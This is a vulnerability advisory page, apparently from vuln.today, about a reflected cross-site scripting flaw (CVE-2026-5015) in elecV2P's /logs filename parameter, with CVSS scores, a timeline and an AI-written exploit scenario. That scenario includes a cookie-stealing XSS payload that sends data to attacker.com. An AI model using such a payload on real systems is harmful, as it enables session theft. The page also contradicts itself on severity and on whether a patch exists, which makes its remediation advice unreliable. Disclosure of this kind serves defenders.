Which versions of Elecv2P are affected by EUVD-2026-16949?

Organizations using elecV2 elecV2P should be aware of moderate risk from CVE-2026-5015, a cross-site scripting vulnerability rated CVSS 5.3.

Is there a public PoC exploit available for EUVD-2026-16949?

Yes, a public proof-of-concept exploit is available for EUVD-2026-16949. Prioritise patching immediately. EPSS: 0.0%.

Elecv2P EUVD-2026-16949

Q: What is the CVSS score of EUVD-2026-16949?

EUVD-2026-16949 has a CVSS 4.0 base score of 2.1 (Low). CVSS vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X. EPSS exploitation probability: 0.0%.

| CVE-2026-5015 LOW

Cross-site Scripting (XSS) (CWE-79)

2026-03-28 VulDB

GHSA-8h9m-gcc8-25c6

XSS Elecv2P

2.1

CVSS 4.0 · NVD

Severity by source

NVD PRIMARY

2.1 LOW

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

Scope

Lifecycle Timeline

Severity Changed

Apr 29, 2026 - 01:11 NVD

MEDIUM LOW

CVSS changed

Apr 29, 2026 - 01:11 NVD

5.3 (MEDIUM) 2.1 (LOW)

PoC Detected

Mar 30, 2026 - 13:26 vuln.today

Public exploit code

EUVD ID Assigned

Mar 28, 2026 - 21:15 euvd

EUVD-2026-16949

Analysis Generated

Mar 28, 2026 - 21:15 vuln.today

CVE Published

Mar 28, 2026 - 21:00 nvd

MEDIUM 5.3

DescriptionCVE.org

A vulnerability was determined in elecV2 elecV2P up to 3.8.3. The impacted element is an unknown function of the file /logs of the component Endpoint. This manipulation of the argument filename causes cross site scripting. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.

AnalysisAI

Reflected cross-site scripting (XSS) in elecV2P up to version 3.8.3 allows remote attackers to inject malicious scripts via the filename parameter in the /logs endpoint, requiring user interaction to execute. The vulnerability has publicly available exploit code and affects all versions through 3.8.3, with no vendor patch released despite early notification through issue reporting.

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Vulnerability AssessmentAI

Risk Assessment	The CVSS v4.0 score of 5.3 reflects a Medium-severity vulnerability with network attack vector and no privilege requirements, but requiring user interaction (UI:P). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario	An attacker crafts a malicious URL targeting the /logs endpoint with a filename parameter containing JavaScript payload (e.g., /logs?filename=<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>), then sends this link to a victim user via phishing email or chat. When the victim clicks the link while authenticated or in a browser session with elecV2P, the injected script executes in their browser context, potentially stealing session cookies, credentials, or performing actions on their behalf. …
Remediation	No vendor-released patch identified at time of analysis. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 30 days: Identify affected systems running elecV2 elecV2P and apply vendor patches as part of regular patch cycle. …

Threat intelligence, references, and detailed analysis are available after sign-in.

EUVD-2026-16949 vulnerability details – vuln.today

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